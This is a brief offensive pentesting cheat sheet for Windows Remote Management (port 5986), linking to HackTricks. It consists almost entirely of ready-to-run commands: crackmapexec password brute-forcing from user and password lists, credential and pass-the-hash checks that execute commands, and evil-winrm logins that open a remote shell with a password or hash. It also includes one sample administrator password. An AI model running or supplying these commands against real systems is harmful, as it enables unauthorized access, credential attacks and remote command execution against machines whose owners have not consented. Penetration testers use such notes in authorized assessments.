5986 - Pentesting winrm

windows

brute force

brute force

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

just check a pair of credentials

crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"

check if the creds are valid to access winrm

crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'

with password

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

with hash

evil-winrm -u <username> -H <Hash> -i <IP>

https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm